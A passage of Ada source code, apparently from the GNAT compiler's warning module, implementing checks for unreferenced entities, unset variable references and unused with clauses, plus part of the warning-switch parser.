-- Other than accept case, post error on defining identifier
if No (Anod) then
Error_Msg_N (M, E1);
-- Accept case, find body formal to post the message
else
declare
Parm : Node_Id;
Enod : Node_Id;
Defid : Entity_Id;
begin
Enod := Anod;
if Present (Parameter_Specifications (Anod)) then
Parm := First (Parameter_Specifications (Anod));
while Present (Parm) loop
Defid := Defining_Identifier (Parm);
if Chars (E1) = Chars (Defid) then
Enod := Defid;
exit;
end if;
Next (Parm);
end loop;
end if;
Error_Msg_NE (M, Enod, E1);
end;
end if;
end Output_Reference_Error;
----------------------------
-- Publicly_Referenceable --
----------------------------
function Publicly_Referenceable (Ent : Entity_Id) return Boolean is
P : Node_Id;
Prev : Node_Id;
begin
-- Examine parents to look for a library level package spec. But if
-- we find a body or block or other similar construct along the way,
-- we cannot be referenced.
Prev := Ent;
P := Parent (Ent);
loop
case Nkind (P) is
-- If we get to top of tree, then publicly referenceable
when N_Empty =>
return True;
-- If we reach a generic package declaration, then always
-- consider this referenceable, since any instantiation will
-- have access to the entities in the generic package. Note
-- that the package itself may not be instantiated, but then
-- we will get a warning for the package entity.
-- Note that generic formal parameters are themselves not
-- publicly referenceable in an instance, and warnings on
-- them are useful.
when N_Generic_Package_Declaration =>
return
not Is_List_Member (Prev)
or else List_Containing (Prev)
/= Generic_Formal_Declarations (P);
-- Similarly, the generic formals of a generic subprogram
-- are not accessible.
when N_Generic_Subprogram_Declaration =>
if Is_List_Member (Prev)
and then List_Containing (Prev) =
Generic_Formal_Declarations (P)
then
return False;
else
P := Parent (P);
end if;
-- If we reach a subprogram body, entity is not referenceable
-- unless it is the defining entity of the body. This will
-- happen, e.g. when a function is an attribute renaming that
-- is rewritten as a body.
when N_Subprogram_Body =>
if Ent /= Defining_Entity (P) then
return False;
else
P := Parent (P);
end if;
-- If we reach any other body, definitely not referenceable
when N_Package_Body |
N_Task_Body |
N_Entry_Body |
N_Protected_Body |
N_Block_Statement |
N_Subunit =>
return False;
-- For all other cases, keep looking up tree
when others =>
Prev := P;
P := Parent (P);
end case;
end loop;
end Publicly_Referenceable;
-- Start of processing for Check_References
begin
-- No messages if warnings are suppressed, or if we have detected any
-- real errors so far (this last check avoids junk messages resulting
-- from errors, e.g. a subunit that is not loaded).
if Warning_Mode = Suppress
or else Serious_Errors_Detected /= 0
then
return;
end if;
-- We also skip the messages if any subunits were not loaded (see
-- comment in Sem_Ch10 to understand how this is set, and why it is
-- necessary to suppress the warnings in this case).
if Missing_Subunits then
return;
end if;
-- Otherwise loop through entities, looking for suspicious stuff
E1 := First_Entity (E);
while Present (E1) loop
-- We only look at source entities with warning flag on
if Comes_From_Source (E1) and then not Warnings_Off (E1) then
-- We are interested in variables and out parameters, but we
-- exclude protected types, too complicated to worry about.
if Ekind (E1) = E_Variable
or else
(Ekind (E1) = E_Out_Parameter
and then not Is_Protected_Type (Current_Scope))
then
-- Post warning if this object not assigned. Note that we do
-- not consider the implicit initialization of an access type
-- to be the assignment of a value for this purpose.
if Ekind (E1) = E_Out_Parameter
and then Present (Spec_Entity (E1))
then
UR := Unset_Reference (Spec_Entity (E1));
else
UR := Unset_Reference (E1);
end if;
-- If the entity is an out parameter of the current subprogram
-- body, check the warning status of the parameter in the spec.
if Ekind (E1) = E_Out_Parameter
and then Present (Spec_Entity (E1))
and then Warnings_Off (Spec_Entity (E1))
then
null;
elsif Present (UR)
and then Is_Access_Type (Etype (E1))
then
-- For access types, the only time we made a UR entry was
-- for a dereference, and so we post the appropriate warning
-- here (note that the dereference may not be explicit in
-- the source, for example in the case of a dispatching call
-- with an anonymous access controlling formal, or of an
-- assignment of a pointer involving discriminant check on
-- the designated object).
Error_Msg_NE ("& may be null?", UR, E1);
goto Continue;
elsif Never_Set_In_Source (E1)
and then not Generic_Package_Spec_Entity (E1)
then
if Warn_On_No_Value_Assigned then
-- Do not output complaint about never being assigned a
-- value if a pragma Unreferenced applies to the variable
-- or if it is a parameter, to the corresponding spec.
if Has_Pragma_Unreferenced (E1)
or else (Is_Formal (E1)
and then Present (Spec_Entity (E1))
and then
Has_Pragma_Unreferenced (Spec_Entity (E1)))
then
null;
-- Pragma Unreferenced not set, so output message
else
Output_Reference_Error
("& is never assigned a value?");
-- Deal with special case where this variable is
-- hidden by a loop variable
if Ekind (E1) = E_Variable
and then Present (Hiding_Loop_Variable (E1))
then
Error_Msg_Sloc := Sloc (E1);
Error_Msg_N
("declaration hides &#?",
Hiding_Loop_Variable (E1));
Error_Msg_N
("for loop implicitly declares loop variable?",
Hiding_Loop_Variable (E1));
end if;
end if;
end if;
goto Continue;
-- Case of variable that could be a constant. Note that we
-- never signal such messages for generic package entities,
-- since a given instance could have modifications outside
-- the package.
elsif Warn_On_Constant
and then Ekind (E1) = E_Variable
and then Is_True_Constant (E1)
and then not Generic_Package_Spec_Entity (E1)
then
-- A special case, if this variable is volatile and not
-- imported, it is not helpful to tell the programmer
-- to mark the variable as constant, since this would be
-- illegal by virtue of RM C.6(13).
if (Is_Volatile (E1) or else Has_Volatile_Components (E1))
and then not Is_Imported (E1)
then
Error_Msg_N
("& is not modified, volatile has no effect?", E1);
else
Error_Msg_N
("& is not modified, could be declared constant?", E1);
end if;
end if;
-- Check for unset reference, note that we exclude access
-- types from this check, since access types do always have
-- a null value, and that seems legitimate in this case.
if Warn_On_No_Value_Assigned and then Present (UR) then
-- For other than access type, go back to original node
-- to deal with case where original unset reference
-- has been rewritten during expansion.
UR := Original_Node (UR);
-- In some cases, the original node may be a type
-- conversion or qualification, and in this case
-- we want the object entity inside.
while Nkind (UR) = N_Type_Conversion
or else Nkind (UR) = N_Qualified_Expression
loop
UR := Expression (UR);
end loop;
-- Here we issue the warning, all checks completed If the
-- unset reference is prefix of a selected component that
-- comes from source, mention the component as well. If the
-- selected component comes from expansion, all we know is
-- that the entity is not fully initialized at the point of
-- the reference. Locate an unintialized component to get a
-- better error message.
if Nkind (Parent (UR)) = N_Selected_Component then
Error_Msg_Node_2 := Selector_Name (Parent (UR));
if not Comes_From_Source (Parent (UR)) then
declare
Comp : Entity_Id;
begin
Comp := First_Entity (Etype (E1));
while Present (Comp) loop
if Ekind (Comp) = E_Component
and then Nkind (Parent (Comp)) =
N_Component_Declaration
and then No (Expression (Parent (Comp)))
then
Error_Msg_Node_2 := Comp;
exit;
end if;
Next_Entity (Comp);
end loop;
end;
end if;
Error_Msg_N
("`&.&` may be referenced before it has a value?",
UR);
else
Error_Msg_N
("& may be referenced before it has a value?",
UR);
end if;
goto Continue;
end if;
end if;
-- Then check for unreferenced entities. Note that we are only
-- interested in entities which do not have the Referenced flag
-- set. The Referenced_As_LHS flag is interesting only if the
-- Referenced flag is not set.
if not Referenced (E1)
-- Check that warnings on unreferenced entities are enabled
and then ((Check_Unreferenced and then not Is_Formal (E1))
or else
(Check_Unreferenced_Formals and then Is_Formal (E1))
or else
(Warn_On_Modified_Unread
and then Referenced_As_LHS (E1)))
-- Labels, and enumeration literals, and exceptions. The
-- warnings are also placed on local packages that cannot be
-- referenced from elsewhere, including those declared within a
-- package body.
and then (Is_Object (E1)
or else
Is_Type (E1)
or else
Ekind (E1) = E_Label
or else
Ekind (E1) = E_Exception
or else
Ekind (E1) = E_Named_Integer
or else
Ekind (E1) = E_Named_Real
or else
Is_Overloadable (E1)
or else
(Ekind (E1) = E_Package
and then
(Ekind (E) = E_Function
or else Ekind (E) = E_Package_Body
or else Ekind (E) = E_Procedure
or else Ekind (E) = E_Subprogram_Body
or else Ekind (E) = E_Block)))
-- Exclude instantiations, since there is no reason why every
-- entity in an instantiation should be referenced.
and then Instantiation_Location (Sloc (E1)) = No_Location
-- Exclude formal parameters from bodies if the corresponding
-- spec entity has been referenced in the case where there is
-- a separate spec.
and then not (Is_Formal (E1)
and then
Ekind (Scope (E1)) = E_Subprogram_Body
and then
Present (Spec_Entity (E1))
and then
Referenced (Spec_Entity (E1)))
-- Consider private type referenced if full view is referenced
-- If there is not full view, this is a generic type on which
-- warnings are also useful.
and then
not (Is_Private_Type (E1)
and then
Present (Full_View (E1))
and then Referenced (Full_View (E1)))
-- Don't worry about full view, only about private type
and then not Has_Private_Declaration (E1)
-- Eliminate dispatching operations from consideration, we
-- cannot tell if these are referenced or not in any easy
-- manner (note this also catches Adjust/Finalize/Initialize)
and then not Is_Dispatching_Operation (E1)
-- Check entity that can be publicly referenced (we do not give
-- messages for such entities, since there could be other
-- units, not involved in this compilation, that contain
-- relevant references.
and then not Publicly_Referenceable (E1)
-- Class wide types are marked as source entities, but they are
-- not really source entities, and are always created, so we do
-- not care if they are not referenced.
and then Ekind (E1) /= E_Class_Wide_Type
-- Objects other than parameters of task types are allowed to
-- be non-referenced, since they start up tasks!
and then ((Ekind (E1) /= E_Variable
and then Ekind (E1) /= E_Constant
and then Ekind (E1) /= E_Component)
or else not Is_Task_Type (Etype (E1)))
-- For subunits, only place warnings on the main unit itself,
-- since parent units are not completely compiled
and then (Nkind (Unit (Cunit (Main_Unit))) /= N_Subunit
or else
Get_Source_Unit (E1) = Main_Unit)
then
-- Suppress warnings in internal units if not in -gnatg mode
-- (these would be junk warnings for an applications program,
-- since they refer to problems in internal units)
if GNAT_Mode
or else not
Is_Internal_File_Name
(Unit_File_Name (Get_Source_Unit (E1)))
then
-- We do not immediately flag the error. This is because we
-- have not expanded generic bodies yet, and they may have
-- the missing reference. So instead we park the entity on a
-- list, for later processing. However, for the accept case,
-- post the error right here, since we have the information
-- now in this case.
if Present (Anod) then
Output_Reference_Error ("& is not referenced?");
else
Unreferenced_Entities.Increment_Last;
Unreferenced_Entities.Table
(Unreferenced_Entities.Last) := E1;
end if;
end if;
-- Generic units are referenced in the generic body, but if they
-- are not public and never instantiated we want to force a
-- warning on them. We treat them as redundant constructs to
-- minimize noise.
elsif Is_Generic_Subprogram (E1)
and then not Is_Instantiated (E1)
and then not Publicly_Referenceable (E1)
and then Instantiation_Depth (Sloc (E1)) = 0
and then Warn_On_Redundant_Constructs
then
Unreferenced_Entities.Increment_Last;
Unreferenced_Entities.Table (Unreferenced_Entities.Last) := E1;
-- Force warning on entity
Set_Referenced (E1, False);
end if;
end if;
-- Recurse into nested package or block. Do not recurse into a
-- formal package, because the correponding body is not analyzed.
<<Continue>>
if ((Ekind (E1) = E_Package or else Ekind (E1) = E_Generic_Package)
and then Nkind (Parent (E1)) = N_Package_Specification
and then
Nkind (Original_Node (Unit_Declaration_Node (E1)))
/= N_Formal_Package_Declaration)
or else Ekind (E1) = E_Block
then
Check_References (E1);
end if;
Next_Entity (E1);
end loop;
end Check_References;
---------------------------
-- Check_Unset_Reference --
---------------------------
procedure Check_Unset_Reference (N : Node_Id) is
begin
-- Nothing to do if warnings suppressed
if Warning_Mode = Suppress then
return;
end if;
-- Ignore reference to non-scalar if not from source. Almost always such
-- references are bogus (e.g. calls to init procs to set default
-- discriminant values).
if not Comes_From_Source (N)
and then not Is_Scalar_Type (Etype (N))
then
return;
end if;
-- Otherwise see what kind of node we have. If the entity already
-- has an unset reference, it is not necessarily the earliest in
-- the text, because resolution of the prefix of selected components
-- is completed before the resolution of the selected component itself.
-- as a result, given (R /= null and then R.X > 0), the occurrences
-- of R are examined in right-to-left order. If there is already an
-- unset reference, we check whether N is earlier before proceeding.
case Nkind (N) is
when N_Identifier | N_Expanded_Name =>
declare
E : constant Entity_Id := Entity (N);
begin
if (Ekind (E) = E_Variable
or else Ekind (E) = E_Out_Parameter)
and then Never_Set_In_Source (E)
and then (No (Unset_Reference (E))
or else Earlier_In_Extended_Unit
(Sloc (N), Sloc (Unset_Reference (E))))
and then not Warnings_Off (E)
then
-- We may have an unset reference. The first test is whether
-- we are accessing a discriminant of a record or a
-- component with default initialization. Both of these
-- cases can be ignored, since the actual object that is
-- referenced is definitely initialized. Note that this
-- covers the case of reading discriminants of an out
-- parameter, which is OK even in Ada 83.
-- Note that we are only interested in a direct reference to
-- a record component here. If the reference is via an
-- access type, then the access object is being referenced,
-- not the record, and still deserves an unset reference.
if Nkind (Parent (N)) = N_Selected_Component
and not Is_Access_Type (Etype (N))
then
declare
ES : constant Entity_Id :=
Entity (Selector_Name (Parent (N)));
begin
if Ekind (ES) = E_Discriminant
or else Present (Expression (Declaration_Node (ES)))
then
return;
end if;
end;
end if;
-- Here we have a potential unset reference. But before we
-- get worried about it, we have to make sure that the
-- entity declaration is in the same procedure as the
-- reference, since if they are in separate procedures, then
-- we have no idea about sequential execution.
-- The tests in the loop below catch all such cases, but do
-- allow the reference to appear in a loop, block, or
-- package spec that is nested within the declaring scope.
-- As always, it is possible to construct cases where the
-- warning is wrong, that is why it is a warning!
declare
SR : Entity_Id;
SE : constant Entity_Id := Scope (E);
begin
SR := Current_Scope;
while SR /= SE loop
if SR = Standard_Standard
or else Is_Subprogram (SR)
or else Is_Concurrent_Body (SR)
or else Is_Concurrent_Type (SR)
then
return;
end if;
SR := Scope (SR);
end loop;
-- Case of reference has an access type. This is special
-- case since access types are always set to null so
-- cannot be truly uninitialized, but we still want to
-- warn about cases of obvious null dereference.
if Is_Access_Type (Etype (N)) then
Access_Type_Case : declare
P : Node_Id;
function Process
(N : Node_Id)
return Traverse_Result;
-- Process function for instantation of Traverse
-- below. Checks if N contains reference to other
-- than a dereference.
function Ref_In (Nod : Node_Id) return Boolean;
-- Determines whether Nod contains a reference to
-- the entity E that is not a dereference.
-------------
-- Process --
-------------
function Process
(N : Node_Id)
return Traverse_Result
is
begin
if Is_Entity_Name (N)
and then Entity (N) = E
and then not Is_Dereferenced (N)
then
return Abandon;
else
return OK;
end if;
end Process;
------------
-- Ref_In --
------------
function Ref_In (Nod : Node_Id) return Boolean is
function Traverse is new Traverse_Func (Process);
begin
return Traverse (Nod) = Abandon;
end Ref_In;
-- Start of processing for Access_Type_Case
begin
-- Don't bother if we are inside an instance,
-- since the compilation of the generic template
-- is where the warning should be issued.
if In_Instance then
return;
end if;
-- Don't bother if this is not the main unit.
-- If we try to give this warning for with'ed
-- units, we get some false positives, since
-- we do not record references in other units.
if not In_Extended_Main_Source_Unit (E)
or else
not In_Extended_Main_Source_Unit (N)
then
return;
end if;
-- We are only interested in deferences
if not Is_Dereferenced (N) then
return;
end if;
-- One more check, don't bother with references
-- that are inside conditional statements or while
-- loops if the condition references the entity in
-- question. This avoids most false positives.
P := Parent (N);
loop
P := Parent (P);
exit when No (P);
if (Nkind (P) = N_If_Statement
or else
Nkind (P) = N_Elsif_Part)
and then Ref_In (Condition (P))
then
return;
elsif Nkind (P) = N_Loop_Statement
and then Present (Iteration_Scheme (P))
and then
Ref_In (Condition (Iteration_Scheme (P)))
then
return;
end if;
end loop;
end Access_Type_Case;
end if;
-- Here we definitely have a case for giving a warning
-- for a reference to an unset value. But we don't give
-- the warning now. Instead we set the Unset_Reference
-- field of the identifier involved. The reason for this
-- is that if we find the variable is never ever assigned
-- a value then that warning is more important and there
-- is no point in giving the reference warning.
-- If this is an identifier, set the field directly
if Nkind (N) = N_Identifier then
Set_Unset_Reference (E, N);
-- Otherwise it is an expanded name, so set the field
-- of the actual identifier for the reference.
else
Set_Unset_Reference (E, Selector_Name (N));
end if;
end;
end if;
end;
when N_Indexed_Component | N_Slice =>
Check_Unset_Reference (Prefix (N));
when N_Selected_Component =>
if Present (Entity (Selector_Name (N)))
and then Ekind (Entity (Selector_Name (N))) = E_Discriminant
then
-- A discriminant is always initialized
null;
else
Check_Unset_Reference (Prefix (N));
end if;
when N_Type_Conversion | N_Qualified_Expression =>
Check_Unset_Reference (Expression (N));
when others =>
null;
end case;
end Check_Unset_Reference;
------------------------
-- Check_Unused_Withs --
------------------------
procedure Check_Unused_Withs (Spec_Unit : Unit_Number_Type := No_Unit) is
Cnode : Node_Id;
Item : Node_Id;
Lunit : Node_Id;
Ent : Entity_Id;
Munite : constant Entity_Id := Cunit_Entity (Main_Unit);
-- This is needed for checking the special renaming case
procedure Check_One_Unit (Unit : Unit_Number_Type);
-- Subsidiary procedure, performs checks for specified unit
--------------------
-- Check_One_Unit --
--------------------
procedure Check_One_Unit (Unit : Unit_Number_Type) is
Is_Visible_Renaming : Boolean := False;
Pack : Entity_Id;
procedure Check_Inner_Package (Pack : Entity_Id);
-- Pack is a package local to a unit in a with_clause. Both the
-- unit and Pack are referenced. If none of the entities in Pack
-- are referenced, then the only occurrence of Pack is in a use
-- clause or a pragma, and a warning is worthwhile as well.
function Check_System_Aux return Boolean;
-- Before giving a warning on a with_clause for System, check
-- whether a system extension is present.
function Find_Package_Renaming
(P : Entity_Id;
L : Entity_Id) return Entity_Id;
-- The only reference to a context unit may be in a renaming
-- declaration. If this renaming declares a visible entity, do
-- not warn that the context clause could be moved to the body,
-- because the renaming may be intented to re-export the unit.
-------------------------
-- Check_Inner_Package --
-------------------------
procedure Check_Inner_Package (Pack : Entity_Id) is
E : Entity_Id;
Un : constant Node_Id := Sinfo.Unit (Cnode);
function Check_Use_Clause (N : Node_Id) return Traverse_Result;
-- If N is a use_clause for Pack, emit warning
procedure Check_Use_Clauses is new
Traverse_Proc (Check_Use_Clause);
----------------------
-- Check_Use_Clause --
----------------------
function Check_Use_Clause (N : Node_Id) return Traverse_Result is
Nam : Node_Id;
begin
if Nkind (N) = N_Use_Package_Clause then
Nam := First (Names (N));
while Present (Nam) loop
if Entity (Nam) = Pack then
Error_Msg_Qual_Level := 1;
Error_Msg_NE
("no entities of package& are referenced?",
Nam, Pack);
Error_Msg_Qual_Level := 0;
end if;
Next (Nam);
end loop;
end if;
return OK;
end Check_Use_Clause;
-- Start of processing for Check_Inner_Package
begin
E := First_Entity (Pack);
while Present (E) loop
if Referenced (E) then
return;
end if;
Next_Entity (E);
end loop;
-- No entities of the package are referenced. Check whether the
-- reference to the package itself is a use clause, and if so
-- place a warning on it.
Check_Use_Clauses (Un);
end Check_Inner_Package;
----------------------
-- Check_System_Aux --
----------------------
function Check_System_Aux return Boolean is
Ent : Entity_Id;
begin
if Chars (Lunit) = Name_System
and then Scope (Lunit) = Standard_Standard
and then Present_System_Aux
then
Ent := First_Entity (System_Aux_Id);
while Present (Ent) loop
if Referenced (Ent) then
return True;
end if;
Next_Entity (Ent);
end loop;
end if;
return False;
end Check_System_Aux;
---------------------------
-- Find_Package_Renaming --
---------------------------
function Find_Package_Renaming
(P : Entity_Id;
L : Entity_Id) return Entity_Id
is
E1 : Entity_Id;
R : Entity_Id;
begin
Is_Visible_Renaming := False;
E1 := First_Entity (P);
while Present (E1) loop
if Ekind (E1) = E_Package
and then Renamed_Object (E1) = L
then
Is_Visible_Renaming := not Is_Hidden (E1);
return E1;
elsif Ekind (E1) = E_Package
and then No (Renamed_Object (E1))
and then not Is_Generic_Instance (E1)
then
R := Find_Package_Renaming (E1, L);
if Present (R) then
Is_Visible_Renaming := not Is_Hidden (R);
return R;
end if;
end if;
Next_Entity (E1);
end loop;
return Empty;
end Find_Package_Renaming;
-- Start of processing for Check_One_Unit
begin
Cnode := Cunit (Unit);
-- Only do check in units that are part of the extended main unit.
-- This is actually a necessary restriction, because in the case of
-- subprogram acting as its own specification, there can be with's in
-- subunits that we will not see.
if not In_Extended_Main_Source_Unit (Cnode) then
return;
-- In configurable run time mode, we remove the bodies of non-inlined
-- subprograms, which may lead to spurious warnings, which are
-- clearly undesirable.
elsif Configurable_Run_Time_Mode
and then Is_Predefined_File_Name (Unit_File_Name (Unit))
then
return;
end if;
-- Loop through context items in this unit
Item := First (Context_Items (Cnode));
while Present (Item) loop
if Nkind (Item) = N_With_Clause
and then not Implicit_With (Item)
and then In_Extended_Main_Source_Unit (Item)
then
Lunit := Entity (Name (Item));
-- Check if this unit is referenced
if not Referenced (Lunit) then
-- Suppress warnings in internal units if not in -gnatg mode
-- (these would be junk warnings for an application program,
-- since they refer to problems in internal units)
if GNAT_Mode
or else not Is_Internal_File_Name (Unit_File_Name (Unit))
then
-- Here we definitely have a non-referenced unit. If it
-- is the special call for a spec unit, then just set the
-- flag to be read later.
if Unit = Spec_Unit then
Set_Unreferenced_In_Spec (Item);
-- Otherwise simple unreferenced message
else
Error_Msg_N
("unit& is not referenced?", Name (Item));
end if;
end if;
-- If main unit is a renaming of this unit, then we consider
-- the with to be OK (obviously it is needed in this case!)
elsif Present (Renamed_Entity (Munite))
and then Renamed_Entity (Munite) = Lunit
then
null;
-- If this unit is referenced, and it is a package, we do
-- another test, to see if any of the entities in the package
-- are referenced. If none of the entities are referenced, we
-- still post a warning. This occurs if the only use of the
-- package is in a use clause, or in a package renaming
-- declaration.
elsif Ekind (Lunit) = E_Package then
-- If Is_Instantiated is set, it means that the package is
-- implicitly instantiated (this is the case of parent
-- instance or an actual for a generic package formal), and
-- this counts as a reference.
if Is_Instantiated (Lunit) then
null;
-- If no entities in package, and there is a pragma
-- Elaborate_Body present, then assume that this with is
-- done for purposes of this elaboration.
elsif No (First_Entity (Lunit))
and then Has_Pragma_Elaborate_Body (Lunit)
then
null;
-- Otherwise see if any entities have been referenced
else
if Limited_Present (Item) then
Ent := First_Entity (Limited_View (Lunit));
else
Ent := First_Entity (Lunit);
end if;
loop
-- No more entities, and we did not find one that was
-- referenced. Means we have a definite case of a with
-- none of whose entities was referenced.
if No (Ent) then
-- If in spec, just set the flag
if Unit = Spec_Unit then
Set_No_Entities_Ref_In_Spec (Item);
elsif Check_System_Aux then
null;
-- Else give the warning
else
Error_Msg_N
("no entities of & are referenced?",
Name (Item));
-- Look for renamings of this package, and flag
-- them as well. If the original package has
-- warnings off, we suppress the warning on the
-- renaming as well.
Pack := Find_Package_Renaming (Munite, Lunit);
if Present (Pack)
and then not Warnings_Off (Lunit)
then
Error_Msg_NE
("no entities of & are referenced?",
Unit_Declaration_Node (Pack),
Pack);
end if;
end if;
exit;
-- Case of next entity is referenced
elsif Referenced (Ent)
or else Referenced_As_LHS (Ent)
then
-- This means that the with is indeed fine, in that
-- it is definitely needed somewhere, and we can
-- quite worrying about this one.
-- Except for one little detail, if either of the
-- flags was set during spec processing, this is
-- where we complain that the with could be moved
-- from the spec. If the spec contains a visible
-- renaming of the package, inhibit warning to move
-- with_clause to body.
if Ekind (Munite) = E_Package_Body then
Pack :=
Find_Package_Renaming
(Spec_Entity (Munite), Lunit);
end if;
if Unreferenced_In_Spec (Item) then
Error_Msg_N
("unit& is not referenced in spec?",
Name (Item));
elsif No_Entities_Ref_In_Spec (Item) then
Error_Msg_N
("no entities of & are referenced in spec?",
Name (Item));
else
if Ekind (Ent) = E_Package then
Check_Inner_Package (Ent);
end if;
exit;
end if;
if not Is_Visible_Renaming then
Error_Msg_N
("\with clause might be moved to body?",
Name (Item));
end if;
exit;
-- Move to next entity to continue search
else
Next_Entity (Ent);
end if;
end loop;
end if;
-- For a generic package, the only interesting kind of
-- reference is an instantiation, since entities cannot be
-- referenced directly.
elsif Is_Generic_Unit (Lunit) then
-- Unit was never instantiated, set flag for case of spec
-- call, or give warning for normal call.
if not Is_Instantiated (Lunit) then
if Unit = Spec_Unit then
Set_Unreferenced_In_Spec (Item);
else
Error_Msg_N
("unit& is never instantiated?", Name (Item));
end if;
-- If unit was indeed instantiated, make sure that flag is
-- not set showing it was uninstantiated in the spec, and if
-- so, give warning.
elsif Unreferenced_In_Spec (Item) then
Error_Msg_N
("unit& is not instantiated in spec?", Name (Item));
Error_Msg_N
("\with clause can be moved to body?", Name (Item));
end if;
end if;
end if;
Next (Item);
end loop;
end Check_One_Unit;
-- Start of processing for Check_Unused_Withs
begin
if not Opt.Check_Withs
or else Operating_Mode = Check_Syntax
then
return;
end if;
-- Flag any unused with clauses, but skip this step if we are compiling
-- a subunit on its own, since we do not have enough information to
-- determine whether with's are used. We will get the relevant warnings
-- when we compile the parent. This is the normal style of GNAT
-- compilation in any case.
if Nkind (Unit (Cunit (Main_Unit))) = N_Subunit then
return;
end if;
-- Process specified units
if Spec_Unit = No_Unit then
-- For main call, check all units
for Unit in Main_Unit .. Last_Unit loop
Check_One_Unit (Unit);
end loop;
else
-- For call for spec, check only the spec
Check_One_Unit (Spec_Unit);
end if;
end Check_Unused_Withs;
---------------------------------
-- Generic_Package_Spec_Entity --
---------------------------------
function Generic_Package_Spec_Entity (E : Entity_Id) return Boolean is
S : Entity_Id;
begin
if Is_Package_Body_Entity (E) then
return False;
else
S := Scope (E);
loop
if S = Standard_Standard then
return False;
elsif Ekind (S) = E_Generic_Package then
return True;
elsif Ekind (S) = E_Package then
S := Scope (S);
else
return False;
end if;
end loop;
end if;
end Generic_Package_Spec_Entity;
-------------------------------------
-- Operand_Has_Warnings_Suppressed --
-------------------------------------
function Operand_Has_Warnings_Suppressed (N : Node_Id) return Boolean is
function Check_For_Warnings (N : Node_Id) return Traverse_Result;
-- Function used to check one node to see if it is or was originally
-- a reference to an entity for which Warnings are off. If so, Abandon
-- is returned, otherwise OK_Orig is returned to continue the traversal
-- of the original expression.
function Traverse is new Traverse_Func (Check_For_Warnings);
-- Function used to traverse tree looking for warnings
------------------------
-- Check_For_Warnings --
------------------------
function Check_For_Warnings (N : Node_Id) return Traverse_Result is
R : constant Node_Id := Original_Node (N);
begin
if Nkind (R) in N_Has_Entity
and then Present (Entity (R))
and then Warnings_Off (Entity (R))
then
return Abandon;
else
return OK_Orig;
end if;
end Check_For_Warnings;
-- Start of processing for Operand_Has_Warnings_Suppressed
begin
return Traverse (N) = Abandon;
-- If any exception occurs, then something has gone wrong, and this is
-- only a minor aesthetic issue anyway, so just say we did not find what
-- we are looking for, rather than blow up.
exception
when others =>
return False;
end Operand_Has_Warnings_Suppressed;
----------------------------------
-- Output_Unreferenced_Messages --
----------------------------------
procedure Output_Unreferenced_Messages is
E : Entity_Id;
begin
for J in Unreferenced_Entities.First ..
Unreferenced_Entities.Last
loop
E := Unreferenced_Entities.Table (J);
if not Referenced (E) and then not Warnings_Off (E) then
case Ekind (E) is
when E_Variable =>
-- Case of variable that is assigned but not read. We
-- suppress the message if the variable is volatile, has an
-- address clause, or is imported.
if Referenced_As_LHS (E)
and then No (Address_Clause (E))
and then not Is_Volatile (E)
then
if Warn_On_Modified_Unread
and then not Is_Imported (E)
-- Suppress the message for aliased or renamed
-- variables, since there may be other entities read
-- the same memory location.
and then not Is_Aliased (E)
and then No (Renamed_Object (E))
then
Error_Msg_N
("variable & is assigned but never read?", E);
end if;
-- Normal case of neither assigned nor read
else
if Present (Renamed_Object (E))
and then Comes_From_Source (Renamed_Object (E))
then
Error_Msg_N
("renamed variable & is not referenced?", E);
else
Error_Msg_N
("variable & is not referenced?", E);
end if;
end if;
when E_Constant =>
if Present (Renamed_Object (E))
and then Comes_From_Source (Renamed_Object (E))
then
Error_Msg_N ("renamed constant & is not referenced?", E);
else
Error_Msg_N ("constant & is not referenced?", E);
end if;
when E_In_Parameter |
E_Out_Parameter |
E_In_Out_Parameter =>
-- Do not emit message for formals of a renaming, because
-- they are never referenced explicitly.
if Nkind (Original_Node (Unit_Declaration_Node (Scope (E))))
/= N_Subprogram_Renaming_Declaration
then
Error_Msg_N ("formal parameter & is not referenced?", E);
end if;
when E_Named_Integer |
E_Named_Real =>
Error_Msg_N ("named number & is not referenced?", E);
when E_Enumeration_Literal =>
Error_Msg_N ("literal & is not referenced?", E);
when E_Function =>
Error_Msg_N ("function & is not referenced?", E);
when E_Procedure =>
Error_Msg_N ("procedure & is not referenced?", E);
when E_Generic_Procedure =>
Error_Msg_N
("generic procedure & is never instantiated?", E);
when E_Generic_Function =>
Error_Msg_N ("generic function & is never instantiated?", E);
when Type_Kind =>
Error_Msg_N ("type & is not referenced?", E);
when others =>
Error_Msg_N ("& is not referenced?", E);
end case;
Set_Warnings_Off (E);
end if;
end loop;
end Output_Unreferenced_Messages;
------------------------
-- Set_Warning_Switch --
------------------------
function Set_Warning_Switch (C : Character) return Boolean is
begin
case C is
when 'a' =>
Check_Unreferenced := True;
Check_Unreferenced_Formals := True;
Check_Withs := True;
Constant_Condition_Warnings := True;
Implementation_Unit_Warnings := True;
Ineffective_Inline_Warnings := True;
Warn_On_Ada_2005_Compatibility := True;
Warn_On_Bad_Fixed_Value := True;
Warn_On_Constant := True;
Warn_On_Export_Import := True;
Warn_On_Modified_Unread := True;
Warn_On_No_Value_Assigned := True;
Warn_On_Obsolescent_Feature := True;
Warn_On_Redundant_Constructs := True;
Warn_On_Unchecked_Conversion := True;
Warn_On_Unrecognized_Pragma := True;
when 'A' =>
Check_Unreferenced := False;
Check_Unreferenced_Formals := False;
Check_Withs := False;
Constant_Condition_Warnings := False;
Elab_Warnings := False;
Implementation_Unit_Warnings := False;
Ineffective_Inline_Warnings := False;
Warn_On_Ada_2005_Compatibility := False;
Warn_On_Bad_Fixed_Value := False;
Warn_On_Constant := False;
Warn_On_Dereference := False;
Warn_On_Export_Import := False;
Warn_On_Hiding := False;
Warn_On_Modified_Unread := False;
Warn_On_No_Value_Assigned := False;
Warn_On_Obsolescent_Feature := False;
Warn_On_Redundant_Constructs := False;
Warn_On_Unchecked_Conversion := False;
Warn_On_Unrecognized_Pragma := False;
when 'b' =>
Warn_On_Bad_Fixed_Value := True;
when 'B' =>
Warn_On_Bad_Fixed_Value := False;
when 'c' =>
Constant_Condition_Warnings := True;
when 'C' =>
Constant_Condition_Warnings := False;
when 'd' =>
Warn_On_Dereference := True;
when 'D' =>
Warn_On_Dereference := False;
when 'e' =>
Warning_Mode := Treat_As_Error;
when 'f' =>
Check_Unreferenced_Formals := True;
when 'F' =>
Check_Unreferenced_Formals := False;
when 'g' =>
Warn_On_Unrecognized_Pragma := True;
when 'G' =>
Warn_On_Unrecognized_Pragma := False;
when 'h' =>
Warn_On_Hiding := True;
when 'H' =>
Warn_On_Hiding := False;
when 'i' =>
Implementation_Unit_Warnings := True;
when 'I' =>
Implementation_Unit_Warnings := False;
when 'j' =>
Warn_On_Obsolescent_Feature := True;
when 'J' =>
Warn_On_Obsolescent_Feature := False;
